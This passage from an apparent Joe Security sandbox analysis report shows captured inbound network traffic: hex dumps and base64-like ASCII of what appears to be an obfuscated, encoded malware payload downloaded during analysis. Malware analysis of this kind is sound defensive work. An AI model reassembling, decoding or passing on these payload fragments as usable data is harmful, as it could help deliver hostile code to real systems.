ENCxgQ0UsYEFCLGBGRixgMjAsYDVFLGBGRCxgNzUsYEZGLGBERSxgQjMsYERGLGAyRCxgRkQsYERELGB
GRSxgQTYsYEJGLGAz

2021-12-02 20:47:22 UTC 41 IN Data Raw: 56 42 4c 47 41 78 4e 43 78 67 51 7a 45 73 59 44 4d 7a 4c 47 41 32 4f 43 78 67 51 30 59 73 59 45 4e 46 4c 47 
42 46 51 69 78 67 51 6b 59 73 59 44 42 45 4c 47 41 31 52 53 78 67 4f 55 59 73 59 45 5a 47 4c 47 41 30 52 43 78 67 4f 45 
59 73 59 44 64 46 4c 47 41 79 51 79 78 67 4e 55 51 73 59 45 5a 44 4c 47 42 45 4e 79 78 67 51 6b 59 73 59 45 4d 30 4c 
47 41 31 51 69 78 67 52 6b 59 73 59 45 59 34 4c 47 42 43 52 43 78 67 4e 30 59 73 59 45 4e 43 4c 47 41 7a 52 69 78 67 
4f 54 49 73 59 44 51 34 4c 47 42 47 52 43 78 67 4e 30 49 73 59 44 45 35 4c 47 41 78 4e 53 78 67 52 6a 59 73 59 44 6c 4
3 4c 47 42 47 52 69 78 67 4f 54 45 73 59 44 4e 47 4c 47 41 31 4e 53 78 67 52 6b 59 73 59 44 51 30 4c 47 42 46 4e 79 78 
67 52 44 55 73 59 44 64 47 4c 47 42 47 4e 79 78 67 51 6b 59 73 59 
Data Ascii: VBLGAxNCxgQzEsYDMzLGA2OCxgQ0YsYENFLGBFQixgQkYsYDBELGA1RSxgOUYsYEZGLG
A0RCxgOEYsYDdFLGAyQyxgNUQsYEZDLGBENyxgQkYsYEM0LGA1QixgRkYsYEY4LGBCRCxgN0YsYENCLG
AzRixgOTIsYDQ4LGBGRCxgN0IsYDE5LGAxNSxgRjYsYDlCLGBGRixgOTEsYDNGLGA1NSxgRkYsYDQ0LG
BFNyxgRDUsYDdGLGBGNyxgQkYsY

2021-12-02 20:47:22 UTC 42 IN Data Raw: 67 51 6a 55 73 59 45 56 47 4c 47 41 33 51 53 78 67 52 55 49 73 59 45 45 34 4c 47 42 43 52 69 78 67 52 6a 63 
73 59 44 5a 47 4c 47 42 47 4f 53 78 67 52 6a 51 73 59 44 4d 33 4c 47 42 47 52 69 78 67 4f 45 51 73 59 44 6c 45 4c 47 41 
34 4e 53 78 67 4e 30 49 73 59 44 52 42 4c 47 41 34 51 69 78 67 4d 6a 4d 73 59 44 6c 45 4c 47 41 7a 4e 79 78 67 4d 45 
59 73 59 45 59 77 4c 47 42 46 4e 69 78 67 4d 30 59 73 59 45 5a 42 4c 47 42 45 4e 79 78 67 52 6b 59 73 59 44 52 46 4c 
47 42 45 52 69 78 67 4e 45 49 73 59 44 56 47 4c 47 42 43 51 79 78 67 52 6b 55 73 59 45 55 31 4c 47 42 43 52 69 78 67 4
f 44 63 73 59 45 5a 47 4c 47 42 46 4e 69 78 67 51 55 59 73 59 44 49 32 4c 47 42 45 4e 53 78 67 4e 6a 45 73 59 44 67 7a 
4c 47 41 35 51 53 78 67 52 45 59 73 59 45 5a 44 4c 47 41 31 4e 79 
Data Ascii: gQjUsYEVGLGA3QSxgRUIsYEE4LGBCRixgRjcsYDZGLGBGOSxgRjQsYDM3LGBGRixgOEQsYDlELGA4N
SxgN0IsYDRBLGA4QixgMjMsYDlELGAzNyxgMEYsYEYwLGBFNixgM0YsYEZBLGBENyxgRkYsYDRFLGBER
ixgNEIsYDVGLGBCQyxgRkUsYEU1LGBCRixgODcsYEZGLGBFNixgQUYsYDI2LGBENSxgNjEsYDgzLGA5Q
SxgREYsYEZDLGA1Ny

2021-12-02 20:47:22 UTC 44 IN Data Raw: 4c 47 42 43 4f 53 78 67 52 6a 4d 73 59 45 55 32 4c 47 41 35 52 69 78 67 4f 44 59 73 59 44 4d 33 4c 47 42 47 
52 69 78 67 51 30 59 73 59 45 4a 47 4c 47 42 46 4f 43 78 67 52 55 59 73 59 45 5a 45 4c 47 42 46 4d 79 78 67 52 44 49 
73 59 45 59 79 4c 47 41 79 52 69 78 67 52 6b 59 73 59 45 56 43 4c 47 41 30 4e 69 78 67 4e 44 45 73 59 45 4d 33 4c 47 
42 43 52 69 78 67 4d 7a 4d 73 59 44 4e 42 4c 47 41 33 52 53 78 67 52 54 41 73 59 44 41 30 4c 47 42 47 4f 43 78 67 4e 7
a 63 73 59 44 67 32 4c 47 42 42 52 53 78 67 52 55 4d 73 59 45 4a 44 4c 47 42 47 52 53 78 67 4d 54 55 73 59 44 56 46 4c 
47 42 47 52 69 78 67 4e 30 51 73 59 45 5a 46 4c 47 42 46 4f 43 78 67 4e 55 59 73 59 45 59 79 4c 47 42 45 52 69 78 67 
51 54 51 73 59 45 5a 47 4c 47 41 30 4e 43 78 67 52 6a 4d 73 59 44 52 
Data Ascii: LGBCOSxgRjMsYEU2LGA5RixgODYsYDM3LGBGRixgQ0YsYEJGLGBFOCxgRUYsYEZELGBFMyxgRDIsYE
YyLGAyRixgRkYsYEVCLGA0NixgNDEsYEM3LGBCRixgMzMsYDNBLGA3RSxgRTAsYDA0LGBGOCxgNzcsYD
g2LGBBRSxgRUMsYEJDLGBGRSxgMTUsYDVFLGBGRixgN0QsYEZFLGBFOCxgNUYsYEYyLGBERixgQTQsYE
ZGLGA0NCxgRjMsYDR
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2021-12-02 20:47:22 UTC 45 IN Data Raw: 6b 55 73 59 45 56 43 4c 47 42 46 4f 53 78 67 4e 6b 59 73 59 45 59 31 4c 47 41 34 51 69 78 67 4e 30 59 73 59 
45 4a 47 4c 47 41 79 4d 43 78 67 4d 6a 51 73 59 44 63 34 4c 47 41 30 52 53 78 67 4f 55 51 73 59 45 5a 46 4c 47 41 32 
4e 69 78 67 4e 7a 59 73 59 44 67 79 4c 47 41 35 52 69 78 67 4e 54 4d 73 59 44 6b 77 4c 47 42 45 52 43 78 67 4e 7a 6b 
73 59 45 59 31 4c 47 41 32 52 69 78 67 51 7a 55 73 59 45 46 43 4c 47 41 78 52 69 78 67 52 6b 51 73 59 44 52 45 4c 47 4
1 32 52 69 78 67 52 6b 59 73 59 45 5a 45 4c 47 42 47 4e 43 78 67 52 45 55 73 59 45 4a 45 4c 47 41 33 52 69 78 67 4d 
30 59 73 59 45 59 30 4c 47 41 78 51 79 78 67 4d 6b 55 73 59 44 59 78 4c 47 41 78 51 53 78 67 4e 30 55 73 59 45 45 78 
4c 47 42 44 51 69 78 67 4f 44 63 73 59 44 56 44 4c 47 41 78 4d 69 78 67 
Data Ascii: kUsYEVCLGBFOSxgNkYsYEY1LGA4QixgN0YsYEJGLGAyMCxgMjQsYDc4LGA0RSxgOUQsYEZFLGA2Nix
gNzYsYDgyLGA5RixgNTMsYDkwLGBERCxgNzksYEY1LGA2RixgQzUsYEFCLGAxRixgRkQsYDRELGA2Rix
gRkYsYEZELGBGNCxgREUsYEJELGA3RixgM0YsYEY0LGAxQyxgMkUsYDYxLGAxQSxgN0UsYEExLGBDQix
gODcsYDVDLGAxMixg

2021-12-02 20:47:22 UTC 46 IN Data Raw: 42 47 4e 43 78 67 52 6a 59 73 59 45 5a 47 4c 47 42 45 4f 43 78 67 4e 7a 6b 73 59 45 5a 43 4c 47 42 45 4e 79 
78 67 51 7a 41 73 59 45 52 43 4c 47 42 44 52 69 78 67 52 6b 55 73 59 44 67 77 4c 47 41 7a 52 69 78 67 52 54 6b 73 59 
45 59 33 4c 47 41 30 51 79 78 67 4e 30 59 73 59 45 46 43 4c 47 41 35 52 69 78 67 52 6b 45 73 59 44 49 7a 4c 47 41 78 
52 53 78 67 4d 44 59 73 59 44 5a 47 4c 47 42 47 52 69 78 67 4f 44 6b 73 59 45 55 34 4c 47 42 47 51 79 78 67 51 6a 63 7
3 59 44 63 78 4c 47 41 31 4d 69 78 67 52 6a 55 73 59 44 49 33 4c 47 41 79 4d 69 78 67 4d 55 55 73 59 45 5a 42 4c 47 41 
30 52 43 78 67 51 7a 4d 73 59 45 51 33 4c 47 42 47 52 69 78 67 52 54 45 73 59 45 5a 47 4c 47 41 78 4f 43 78 67 4d 45 
45 73 59 45 59 77 4c 47 42 45 4e 79 78 67 52 6a 67 73 59 44 64 45 4c 
Data Ascii: BGNCxgRjYsYEZGLGBEOCxgNzksYEZCLGBENyxgQzAsYERCLGBDRixgRkUsYDgwLGAzRixgRTksYEY3
LGA0QyxgN0YsYEFCLGA5RixgRkEsYDIzLGAxRSxgMDYsYDZGLGBGRixgODksYEU4LGBGQyxgQjcsYDcx
LGA1MixgRjUsYDI3LGAyMixgMUUsYEZBLGA0RCxgQzMsYEQ3LGBGRixgRTEsYEZGLGAxOCxgMEEsYEYw
LGBENyxgRjgsYDdEL

2021-12-02 20:47:22 UTC 48 IN Data Raw: 73 59 44 45 34 4c 47 42 47 4e 43 78 67 52 6b 4d 73 59 44 4d 33 4c 47 42 42 4d 53 78 67 52 54 63 73 59 45 52 
47 4c 47 42 44 4e 43 78 67 51 6b 4d 73 59 45 5a 44 4c 47 41 33 52 69 78 67 52 6b 51 73 59 44 51 32 4c 47 41 33 52 69 
78 67 4d 54 4d 73 59 45 59 31 4c 47 42 47 51 79 78 67 4f 54 63 73 59 44 63 32 4c 47 41 31 52 53 78 67 52 6b 59 73 59 
45 56 45 4c 47 42 47 4d 53 78 67 52 6b 45 73 59 44 68 47 4c 47 42 43 52 43 78 67 52 6b 49 73 59 44 4e 43 4c 47 42 47 5
2 53 78 67 52 44 63 73 59 45 59 30 4c 47 41 30 52 69 78 67 52 6b 59 73 59 45 5a 45 4c 47 42 44 51 69 78 67 4d 6a 41 73 
59 44 4d 78 4c 47 42 47 4d 53 78 67 4d 44 63 73 59 44 55 77 4c 47 42 44 52 69 78 67 51 6b 59 73 59 44 56 43 4c 47 42 
47 52 43 78 67 4e 7a 63 73 59 44 5a 43 4c 47 42 44 52 69 78 67 4e 30 
Data Ascii: sYDE4LGBGNCxgRkMsYDM3LGBBMSxgRTcsYERGLGBDNCxgQkMsYEZDLGA3RixgRkQsYDQ
2LGA3RixgMTMsYEY1LGBGQyxgOTcsYDc2LGA1RSxgRkYsYEVELGBGMSxgRkEsYDhGLGBCRCxgRkIsYDN
CLGBGRSxgRDcsYEY0LGA0RixgRkYsYEZELGBDQixgMjAsYDMxLGBGMSxgMDcsYDUwLGBDRixgQkYsYDV
CLGBGRCxgNzcsYDZCLGBDRixgN0

2021-12-02 20:47:22 UTC 49 IN Data Raw: 52 43 78 67 4d 44 63 73 59 45 5a 47 4c 47 41 31 4d 79 78 67 52 6b 45 73 59 45 52 43 4c 47 42 47 52 53 78 67 
4f 54 59 73 59 45 5a 47 4c 47 42 42 4e 69 78 67 4e 6b 59 73 59 44 6b 30 4c 47 41 33 52 69 78 67 51 30 49 73 59 45 4a 
47 4c 47 41 34 51 79 78 67 4e 30 45 73 59 45 49 31 4c 47 42 43 4d 69 78 67 52 6a 41 73 59 44 6c 43 4c 47 42 47 52 69 
78 67 4e 6a 55 73 59 44 4e 47 4c 47 41 31 4e 53 78 67 52 6b 59 73 59 44 4e 46 4c 47 41 35 52 43 78 67 4e 54 63 73 59 
44 4e 47 4c 47 42 44 4d 79 78 67 51 55 49 73 59 45 4a 47 4c 47 42 47 4e 43 78 67 4d 30 59 73 59 45 5a 47 4c 47 41 79 
52 69 78 67 4e 30 55 73 59 45 5a 47 4c 47 42 47 4e 43 78 67 4e 45 59 73 59 45 5a 42 4c 47 42 46 4d 69 78 67 4d 7a 63 
73 59 45 5a 46 4c 47 41 35 52 43 78 67 4f 44 4d 73 59 45 59 78 4c 47 42 
Data Ascii: RCxgMDcsYEZGLGA1MyxgRkEsYERCLGBGRSxgOTYsYEZGLGBBNixgNkYsYDk0LGA3RixgQ0IsYEJGLG
A4QyxgN0EsYEI1LGBCMixgRjAsYDlCLGBGRixgNjUsYDNGLGA1NSxgRkYsYDNFLGA5RCxgNTcsYDNGLG
BDMyxgQUIsYEJGLGBGNCxgM0YsYEZGLGAyRixgN0UsYEZGLGBGNCxgNEYsYEZBLGBFMixgMzcsYEZFLG
A5RCxgODMsYEYxLGB

2021-12-02 20:47:22 UTC 50 IN Data Raw: 44 52 47 4c 47 42 45 4e 53 78 67 51 6b 59 73 59 45 46 42 4c 47 42 47 4d 79 78 67 52 55 45 73 59 44 6c 47 4c 
47 41 34 4e 69 78 67 4e 54 63 73 59 45 49 7a 4c 47 41 33 52 69 78 67 52 55 59 73 59 45 52 47 4c 47 42 47 52 53 78 67 
4d 7a 51 73 59 45 5a 45 4c 47 42 45 52 69 78 67 51 6b 59 73 59 45 59 34 4c 47 41 34 52 43 78 67 52 6b 55 73 59 44 67 
7a 4c 47 41 34 4d 43 78 67 4e 54 51 73 59 45 4a 47 4c 47 41 79 4e 53 78 67 4e 44 67 73 59 45 49 31 4c 47 42 46 52 43 7
8 67 4f 54 59 73 59 45 51 78 4c 47 41 33 52 53 78 67 4e 45 49 73 59 44 49 79 4c 47 42 45 4e 53 78 67 4e 6b 59 73 59 45 
5a 44 4c 47 41 35 51 69 78 67 4f 44 63 73 59 45 46 47 4c 47 41 33 52 69 78 67 4f 44 55 73 59 45 51 33 4c 47 41 30 4e 79 
78 67 4e 30 59 73 59 45 56 42 4c 47 41 7a 52 69 78 67 52 6a 59 73 
Data Ascii: DRGLGBENSxgQkYsYEFBLGBGMyxgRUEsYDlGLGA4NixgNTcsYEIzLGA3RixgRUYsYERGLGBGRSxgMzQ
sYEZELGBERixgQkYsYEY4LGA4RCxgRkUsYDgzLGA4MCxgNTQsYEJGLGAyNSxgNDgsYEI1LGBFRCxgOTY
sYEQxLGA3RSxgNEIsYDIyLGBENSxgNkYsYEZDLGA5QixgODcsYEFGLGA3RixgODUsYEQ3LGA0NyxgN0Y
sYEVBLGAzRixgRjYs

2021-12-02 20:47:22 UTC 52 IN Data Raw: 78 67 4d 30 45 73 59 44 49 79 4c 47 41 79 4e 53 78 67 52 54 51 73 59 44 6b 32 4c 47 41 30 51 79 78 67 4e 44 
63 73 59 44 6b 30 4c 47 41 33 4e 69 78 67 52 55 45 73 59 45 4a 44 4c 47 42 47 51 53 78 67 4e 54 63 73 59 45 55 78 4c 
47 42 45 4e 53 78 67 4e 30 59 73 59 45 55 79 4c 47 42 43 4e 79 78 67 4f 54 6b 73 59 45 5a 44 4c 47 42 43 51 53 78 67 
52 54 6b 73 59 44 6b 7a 4c 47 42 45 52 69 78 67 52 6b 49 73 59 45 46 47 4c 47 42 47 4f 53 78 67 4d 45 59 73 59 45 5a 4
5 4c 47 41 31 4e 79 78 67 52 54 63 73 59 44 4d 30 4c 47 41 31 4f 53 78 67 4d 6a 4d 73 59 44 46 43 4c 47 41 78 4f 53 78 
67 51 30 4d 73 59 44 49 35 4c 47 41 33 52 53 78 67 52 55 45 73 59 45 4a 44 4c 47 42 43 51 53 78 67 51 7a 41 73 59 45 
46 43 4c 47 42 47 52 69 78 67 52 6a 67 73 59 44 49 33 4c 47 42 43 52 
Data Ascii: xgM0EsYDIyLGAyNSxgRTQsYDk2LGA0QyxgNDcsYDk0LGA3NixgRUEsYEJDLGBGQSxgNTcsYEUxLGBE
NSxgN0YsYEUyLGBCNyxgOTksYEZDLGBCQSxgRTksYDkzLGBERixgRkIsYEFGLGBGOSxgMEYsYEZELGA1
NyxgRTcsYDM0LGA1OSxgMjMsYDFCLGAxOSxgQ0MsYDI5LGA3RSxgRUEsYEJDLGBCQSxgQzAsYEFCLGBG
RixgRjgsYDI3LGBCR

2021-12-02 20:47:22 UTC 53 IN Data Raw: 31 4c 47 42 46 4f 53 78 67 52 55 59 73 59 44 56 44 4c 47 42 47 51 79 78 67 4e 7a 6b 73 59 44 6b 31 4c 47 42 
47 52 69 78 67 52 54 59 73 59 44 4e 47 4c 47 41 30 51 79 78 67 4f 44 51 73 59 45 49 32 4c 47 42 45 52 43 78 67 52 6b 
55 73 59 45 55 32 4c 47 42 47 52 69 78 67 4d 7a 41 73 59 44 4d 35 4c 47 41 77 4d 69 78 67 4f 55 51 73 59 44 55 33 4c 
47 42 47 52 69 78 67 52 54 6b 73 59 44 64 47 4c 47 41 34 51 69 78 67 4e 55 55 73 59 45 5a 45 4c 47 42 44 52 53 78 67 5
2 45 59 73 59 45 5a 43 4c 47 41 34 4e 79 78 67 4e 30 59 73 59 44 4e 43 4c 47 42 47 52 43 78 67 4e 6b 59 73 59 44 51 32 
4c 47 42 47 52 69 78 67 4e 45 45 73 59 45 55 34 4c 47 41 32 51 69 78 67 4d 30 55 73 59 44 49 32 4c 47 41 35 52 53 78 
67 52 6b 4d 73 59 44 46 45 4c 47 41 31 52 43 78 67 4d 44 67 73 59 45 
Data Ascii: 1LGBFOSxgRUYsYDVDLGBGQyxgNzksYDk1LGBGRixgRTYsYDNGLGA0QyxgODQsYEI2LGBERCxgRkUsY
EU2LGBGRixgMzAsYDM5LGAwMixgOUQsYDU3LGBGRixgRTksYDdGLGA4QixgNUUsYEZELGBDRSxgREYsY
EZCLGA4NyxgN0YsYDNCLGBGRCxgNkYsYDQ2LGBGRixgNEEsYEU4LGA2QixgM0UsYDI2LGA5RSxgRkMsY
DFELGA1RCxgMDgsYE

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 30 of 57



2021-12-02 20:47:22 UTC 54 IN Data Raw: 52 6b 51 73 59 44 4d 33 4c 47 42 47 52 53 78 67 52 6a 55 73 59 44 4e 47 4c 47 42 46 52 69 78 67 51 6a 63 73 
59 44 52 45 4c 47 41 35 4d 79 78 67 52 45 59 73 59 45 59 79 4c 47 41 7a 4e 79 78 67 4d 44 6b 73 59 44 49 7a 4c 47 41 
35 4d 69 78 67 52 45 59 73 59 44 45 31 4c 47 41 35 4e 43 78 67 51 6a 59 73 59 44 45 35 4c 47 42 43 4e 69 78 67 52 6b 
59 73 59 45 56 43 4c 47 41 7a 4e 79 78 67 52 6b 45 73 59 44 56 45 4c 47 41 77 4f 53 78 67 52 54 6b 73 59 45 52 47 4c 4
7 42 47 51 79 78 67 51 6a 63 73 59 44 42 44 4c 47 41 31 52 69 78 67 52 6b 59 73 59 44 52 47 4c 47 42 47 52 53 78 67 4d 
45 51 73 59 44 64 42 4c 47 42 47 52 43 78 67 52 6b 59 73 59 45 5a 42 4c 47 42 44 52 43 78 67 52 6b 55 73 59 45 4e 46 
4c 47 41 7a 52 69 78 67 4d 7a 51 73 59 44 46 45 4c 47 42 47 52 43 78 
Data Ascii: RkQsYDM3LGBGRSxgRjUsYDNGLGBFRixgQjcsYDRELGA5MyxgREYsYEYyLGAzNyxgMDksYDIzLGA5Mi
xgREYsYDE1LGA5NCxgQjYsYDE5LGBCNixgRkYsYEVCLGAzNyxgRkEsYDVELGAwOSxgRTksYERGLGBGQy
xgQjcsYDBDLGA1RixgRkYsYDRGLGBGRSxgMEQsYDdBLGBGRCxgRkYsYEZBLGBDRCxgRkUsYENFLGAzRi
xgMzQsYDFELGBGRCx

2021-12-02 20:47:22 UTC 59 IN Data Raw: 45 4a 47 4c 47 41 79 51 69 78 67 4d 6b 51 73 59 44 49 79 4c 47 41 7a 4f 53 78 67 4e 44 63 73 59 45 55 32 4c 
47 41 33 4e 79 78 67 51 54 55 73 59 45 55 31 4c 47 42 47 51 69 78 67 51 30 55 73 59 45 46 43 4c 47 41 32 4d 79 78 67 
51 6b 4d 73 59 45 5a 42 4c 47 41 34 4d 79 78 67 52 54 6b 73 59 45 46 47 4c 47 42 47 4e 53 78 67 4d 6a 63 73 59 45 45 
30 4c 47 41 35 4e 79 78 67 4e 30 59 73 59 45 59 7a 4c 47 42 42 51 69 78 67 51 6b 59 73 59 45 4d 34 4c 47 41 33 52 69 7
8 67 52 6a 55 73 59 44 45 78 4c 47 41 31 4f 53 78 67 51 7a 63 73 59 45 52 47 4c 47 42 45 4e 69 78 67 52 6b 45 73 59 45 
59 32 4c 47 41 34 52 69 78 67 4e 44 67 73 59 45 55 35 4c 47 41 33 4e 69 78 67 4e 55 55 73 59 45 5a 45 4c 47 41 32 4e 
53 78 67 52 6b 59 73 59 44 45 79 4c 47 42 43 52 43 78 67 52 6b 45 73 
Data Ascii: EJGLGAyQixgMkQsYDIyLGAzOSxgNDcsYEU2LGA3NyxgQTUsYEU1LGBGQixgQ0UsYEFCLGA2MyxgQkM
sYEZBLGA4MyxgRTksYEFGLGBGNSxgMjcsYEE0LGA5NyxgN0YsYEYzLGBBQixgQkYsYEM4LGA3RixgRjU
sYDExLGA1OSxgQzcsYERGLGBENixgRkEsYEY2LGA4RixgNDgsYEU5LGA3NixgNUUsYEZELGA2NSxgRkY
sYDEyLGBCRCxgRkEs

2021-12-02 20:47:22 UTC 63 IN Data Raw: 41 78 4d 43 78 67 51 30 55 73 59 45 4a 47 4c 47 41 33 51 69 78 67 52 54 63 73 59 45 56 45 4c 47 42 43 52 69 
78 67 4d 44 4d 73 59 44 5a 47 4c 47 42 47 52 69 78 67 4f 45 59 73 59 44 6b 7a 4c 47 42 47 52 69 78 67 52 6a 67 73 59 
44 52 47 4c 47 41 30 52 53 78 67 4e 30 59 73 59 45 45 33 4c 47 42 46 52 69 78 67 4d 54 55 73 59 45 5a 47 4c 47 41 32 
51 53 78 67 52 6a 41 73 59 45 59 32 4c 47 42 42 52 69 78 67 4f 44 45 73 59 44 49 78 4c 47 42 47 52 69 78 67 4d 45 55 7
3 59 44 59 32 4c 47 41 34 4e 53 78 67 52 6a 55 73 59 45 5a 47 4c 47 42 47 51 53 78 67 4f 45 51 73 59 44 64 46 4c 47 41 
77 52 43 78 67 4e 30 45 73 59 45 5a 45 4c 47 41 32 4d 53 78 67 52 54 63 73 59 45 59 31 4c 47 41 79 51 69 78 67 51 6b 
4d 73 59 44 64 46 4c 47 42 47 52 43 78 67 52 44 63 73 59 45 5a 46 4c 
Data Ascii: AxMCxgQ0UsYEJGLGA3QixgRTcsYEVELGBCRixgMDMsYDZGLGBGRixgOEYsYDkzLGBGRixgRjgsYDRG
LGA0RSxgN0YsYEE3LGBFRixgMTUsYEZGLGA2QSxgRjAsYEY2LGBBRixgODEsYDIxLGBGRixgMEUsYDY2
LGA4NSxgRjUsYEZGLGBGQSxgOEQsYDdFLGAwRCxgN0EsYEZELGA2MSxgRTcsYEY1LGAyQixgQkMsYDdF
LGBGRCxgRDcsYEZFL

2021-12-02 20:47:22 UTC 64 IN Data Raw: 79 4c 47 42 44 4f 53 78 67 4d 30 59 73 59 44 51 31 4c 47 42 42 52 69 78 67 52 6b 59 73 59 45 59 31 4c 47 41 
35 52 43 78 67 52 44 63 73 59 44 68 47 4c 47 42 47 4d 53 78 67 52 6b 45 73 59 44 5a 47 4c 47 42 47 4d 69 78 67 4e 45 
59 73 59 45 4a 44 4c 47 42 47 52 43 78 67 51 55 49 73 59 45 51 79 4c 47 42 47 52 69 78 67 52 6b 51 73 59 45 59 33 4c 
47 42 47 4f 53 78 67 4e 44 63 73 59 44 4e 47 4c 47 42 47 4d 79 78 67 51 54 6b 73 59 44 63 32 4c 47 41 30 52 43 78 67 4
e 54 51 73 59 45 5a 43 4c 47 42 44 51 79 78 67 4d 7a 49 73 59 45 59 34 4c 47 41 7a 4e 53 78 67 52 6a 6b 73 59 45 4a 45 
4c 47 41 35 52 43 78 67 4e 54 63 73 59 44 64 47 4c 47 41 7a 52 43 78 67 51 6b 4d 73 59 44 64 42 4c 47 42 47 4d 69 78 
67 4e 6b 59 73 59 45 45 33 4c 47 41 33 52 69 78 67 4e 7a 45 73 59 45 
Data Ascii: yLGBDOSxgM0YsYDQ1LGBBRixgRkYsYEY1LGA5RCxgRDcsYDhGLGBGMSxgRkEsYDZGLGB
GMixgNEYsYEJDLGBGRCxgQUIsYEQyLGBGRixgRkQsYEY3LGBGOSxgNDcsYDNGLGBGMyxgQTksYDc2LGA
0RCxgNTQsYEZCLGBDQyxgMzIsYEY4LGAzNSxgRjksYEJELGA5RCxgNTcsYDdGLGAzRCxgQkMsYDdBLGB
GMixgNkYsYEE3LGA3RixgNzEsYE

2021-12-02 20:47:22 UTC 68 IN Data Raw: 52 69 78 67 52 55 45 73 59 45 59 33 4c 47 41 33 51 79 78 67 4e 44 59 73 59 44 45 30 4c 47 42 47 51 69 78 67 
4f 45 51 73 59 44 5a 45 4c 47 41 33 4e 69 78 67 52 54 51 73 59 44 68 44 4c 47 41 33 4e 43 78 67 4e 7a 55 73 59 45 55 
33 4c 47 42 45 4e 53 78 67 4d 30 59 73 59 44 46 45 4c 47 42 42 52 69 78 67 52 6b 55 73 59 44 4e 46 4c 47 42 46 51 69 
78 67 4e 30 59 73 59 45 5a 45 4c 47 42 42 52 69 78 67 4e 45 49 73 59 45 5a 47 4c 47 42 42 4e 53 78 67 4d 30 59 73 59 
45 56 43 4c 47 41 77 52 69 78 67 52 6b 49 73 59 44 64 45 4c 47 42 47 52 43 78 67 4e 54 63 73 59 45 5a 47 4c 47 41 32 
4e 43 78 67 4e 30 45 73 59 45 59 31 4c 47 41 79 51 69 78 67 51 6a 4d 73 59 44 52 42 4c 47 42 47 4d 79 78 67 4f 55 49 
73 59 45 5a 47 4c 47 42 44 4f 53 78 67 4d 30 59 73 59 44 55 31 4c 47 42 
Data Ascii: RixgRUEsYEY3LGA3QyxgNDYsYDE0LGBGQixgOEQsYDZELGA3NixgRTQsYDhDLGA3NCxgNzUsYEU3LG
BENSxgM0YsYDFELGBBRixgRkUsYDNFLGBFQixgN0YsYEZELGBBRixgNEIsYEZGLGBBNSxgM0YsYEVCLG
AwRixgRkIsYDdELGBGRCxgNTcsYEZGLGA2NCxgN0EsYEY1LGAyQixgQjMsYDRBLGBGMyxgOUIsYEZGLG
BDOSxgM0YsYDU1LGB

2021-12-02 20:47:22 UTC 72 IN Data Raw: 6b 55 73 59 45 59 35 4c 47 41 78 4d 79 78 67 52 6b 59 73 59 45 45 35 4c 47 42 43 52 69 78 67 4d 6a 4d 73 59 
45 5a 45 4c 47 42 46 4e 79 78 67 52 6b 59 73 59 45 5a 44 4c 47 42 43 51 69 78 67 4f 54 6b 73 59 45 5a 47 4c 47 42 46 
51 53 78 67 4d 30 59 73 59 44 51 77 4c 47 42 42 52 69 78 67 52 45 55 73 59 45 49 78 4c 47 41 77 4f 43 78 67 52 6b 59 
73 59 44 41 7a 4c 47 41 7a 52 69 78 67 4e 54 55 73 59 45 5a 47 4c 47 42 43 52 43 78 67 4f 55 51 73 59 44 55 33 4c 47 4
2 47 52 69 78 67 51 6a 63 73 59 44 64 47 4c 47 41 34 4d 43 78 67 4e 55 55 73 59 45 5a 45 4c 47 42 43 52 69 78 67 4d 
54 63 73 59 44 56 47 4c 47 42 47 52 43 78 67 51 7a 4d 73 59 45 55 35 4c 47 41 31 52 69 78 67 52 6a 51 73 59 44 6c 43 
4c 47 42 47 52 69 78 67 52 6a 4d 73 59 45 55 78 4c 47 42 46 51 53 78 67 
Data Ascii: kUsYEY5LGAxMyxgRkYsYEE5LGBCRixgMjMsYEZELGBFNyxgRkYsYEZDLGBCQixgOTksYEZGLGBFQSx
gM0YsYDQwLGBBRixgREUsYEIxLGAwOCxgRkYsYDAzLGAzRixgNTUsYEZGLGBCRCxgOUQsYDU3LGBGRix
gQjcsYDdGLGA4MCxgNUUsYEZELGBCRixgMTcsYDVGLGBGRCxgQzMsYEU5LGA1RixgRjQsYDlCLGBGRix
gRjMsYEUxLGBFQSxg

2021-12-02 20:47:22 UTC 76 IN Data Raw: 56 47 4c 47 41 32 4f 43 78 67 4f 45 4d 73 59 45 51 35 4c 47 42 47 52 69 78 67 52 6a 55 73 59 44 46 43 4c 47 
42 47 52 43 78 67 4e 6a 6b 73 59 44 67 30 4c 47 42 47 4d 79 78 67 4d 30 59 73 59 45 52 45 4c 47 41 33 4f 53 78 67 52 
6b 51 73 59 44 52 47 4c 47 42 44 4d 43 78 67 52 55 49 73 59 45 4e 43 4c 47 42 43 52 69 78 67 52 54 55 73 59 44 42 47 
4c 47 42 47 4f 53 78 67 4d 6b 51 73 59 45 51 79 4c 47 42 45 52 69 78 67 52 54 6b 73 59 44 56 47 4c 47 42 47 51 53 78 6
7 4d 44 63 73 59 45 5a 45 4c 47 42 45 4e 43 78 67 52 6b 55 73 59 45 5a 47 4c 47 42 47 4e 53 78 67 4f 55 49 73 59 44 64 
44 4c 47 41 77 52 53 78 67 4e 6b 59 73 59 45 4d 35 4c 47 41 31 51 69 78 67 4e 44 63 73 59 45 5a 46 4c 47 41 78 51 79 
78 67 4d 54 45 73 59 44 56 42 4c 47 42 46 4e 79 78 67 52 6a 55 73 59 
Data Ascii: VGLGA2OCxgOEMsYEQ5LGBGRixgRjUsYDFCLGBGRCxgNjksYDg0LGBGMyxgM0YsYERELGA3OSxgRkQs
YDRGLGBDMCxgRUIsYENCLGBCRixgRTUsYDBGLGBGOSxgMkQsYEQyLGBERixgRTksYDVGLGBGQSxgMDcs
YEZELGBENCxgRkUsYEZGLGBGNSxgOUIsYDdDLGAwRSxgNkYsYEM5LGA1QixgNDcsYEZFLGAxQyxgMTEs
YDVBLGBFNyxgRjUsY
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2021-12-02 20:47:22 UTC 80 IN Data Raw: 45 4d 79 78 67 52 55 49 73 59 45 5a 47 4c 47 41 32 4d 43 78 67 52 54 63 73 59 45 59 31 4c 47 42 45 52 69 78 
67 4d 54 41 73 59 45 46 47 4c 47 42 47 52 69 78 67 4d 7a 6b 73 59 45 4e 45 4c 47 41 35 52 69 78 67 52 6a 63 73 59 44 
49 33 4c 47 42 42 4e 69 78 67 52 6b 59 73 59 45 4d 33 4c 47 42 43 52 69 78 67 52 6a 55 73 59 45 59 33 4c 47 42 47 52 
69 78 67 51 7a 45 73 59 45 4d 78 4c 47 42 46 51 69 78 67 4e 7a 4d 73 59 44 55 34 4c 47 41 78 52 43 78 67 4e 6b 59 73 5
